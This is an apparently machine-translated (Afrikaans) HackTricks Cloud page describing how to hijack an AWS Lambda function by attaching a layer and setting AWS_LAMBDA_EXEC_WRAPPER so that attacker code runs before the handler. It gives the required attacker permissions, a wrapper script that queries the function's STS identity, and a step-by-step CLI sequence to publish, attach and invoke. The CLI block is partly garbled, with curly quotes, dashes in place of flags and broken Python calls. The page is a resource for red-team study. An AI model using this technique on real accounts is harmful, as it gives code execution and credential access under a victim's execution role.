AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

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Opsomming

Misbruik die omgewingveranderlike AWS_LAMBDA_EXEC_WRAPPER om ’n aanvaller-gekontroleerde wrapper-skrip uit te voer voordat die runtime/handler begin. Lewer die wrapper via ’n Lambda Layer by /opt/bin/htwrap, stel AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap, en roep dan die funksie aan. Die wrapper hardloop binne die funksie se runtime-proses, erf die funksie-uitvoeringsrol, en voer uiteindelik exec op die werklike runtime uit sodat die oorspronklike handler normaalweg voortgaan om te werk.

Warning

Hierdie tegniek gee kode-uitvoering in die teiken Lambda sonder om sy bronkode of rol te verander en sonder om iam:PassRole te benodig. Jy het slegs die vermoë nodig om die funksie-konfigurasie op te dateer en ’n layer te publiseer/te heg.

Vereiste Toestemmings (aanvaller)

lambda:UpdateFunctionConfiguration
lambda:GetFunctionConfiguration
lambda:InvokeFunction (of deur ’n bestaande gebeurtenis te trigger)
lambda:ListFunctions, lambda:ListLayers
lambda:PublishLayerVersion (selfde rekening) en opsioneel lambda:AddLayerVersionPermission as ’n cross-account/public layer gebruik word

Wrapper Skrip

Plaas die wrapper by /opt/bin/htwrap in die layer. Dit kan pre-handler logika uitvoer en moet eindig met exec "$@" om aan die werklike runtime te koppel.

#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"

Aanvalstappe (CLI)

Publiseer laag, heg aan teikenfunksie, stel wrapper, roep aan

```bash # Vars REGION=us-east-1 TARGET_FN=

1) Package wrapper at /opt/bin/htwrap

mkdir -p layer/bin cat > layer/bin/htwrap <<‘WRAP’ #!/bin/bash set -euo pipefail echo “[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION” python3 - <<‘PY’ import boto3, json print(‘[ht] sts identity:’, import(‘json’).dumps(import(‘boto3’).client(‘sts’).get_caller_identity())) PY exec “$@” WRAP chmod +x layer/bin/htwrap (zip -qr htwrap-layer.zip layer)

2) Publish the layer

LAYER_ARN=$(aws lambda publish-layer-version
–layer-name ht-exec-wrapper
–zip-file fileb://htwrap-layer.zip
–compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8
–query LayerVersionArn –output text –region “$REGION”)

echo “$LAYER_ARN”

3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER

aws lambda update-function-configuration
–function-name “$TARGET_FN”
–layers “$LAYER_ARN”
–environment “Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}”
–region “$REGION”

Wait for update to finish

until [ “$(aws lambda get-function-configuration –function-name “$TARGET_FN” –query LastUpdateStatus –output text –region “$REGION”)“ = “Successful” ]; do sleep 2; done

4) Invoke and verify via CloudWatch Logs

aws lambda invoke –function-name “$TARGET_FN” /tmp/out.json –region “$REGION” >/dev/null aws logs filter-log-events –log-group-name “/aws/lambda/$TARGET_FN” –limit 50 –region “$REGION” –query ‘events[].message’ –output text

</details>

## Impak

- Pre-handler-kode-uitvoering in die Lambda runtime-konteks wat die funksie se bestaande uitvoeringsrol gebruik.
- Geen veranderinge aan die funksiekode of rol nodig nie; dit werk oor algemene beheerde runtimes (Python, Node.js, Java, .NET).
- Maak persistence, credential access (bv. STS), data exfiltration en runtime tampering moontlik voordat die handler begin.

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> Leer & oefen Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
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> - **Deel hacking tricks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>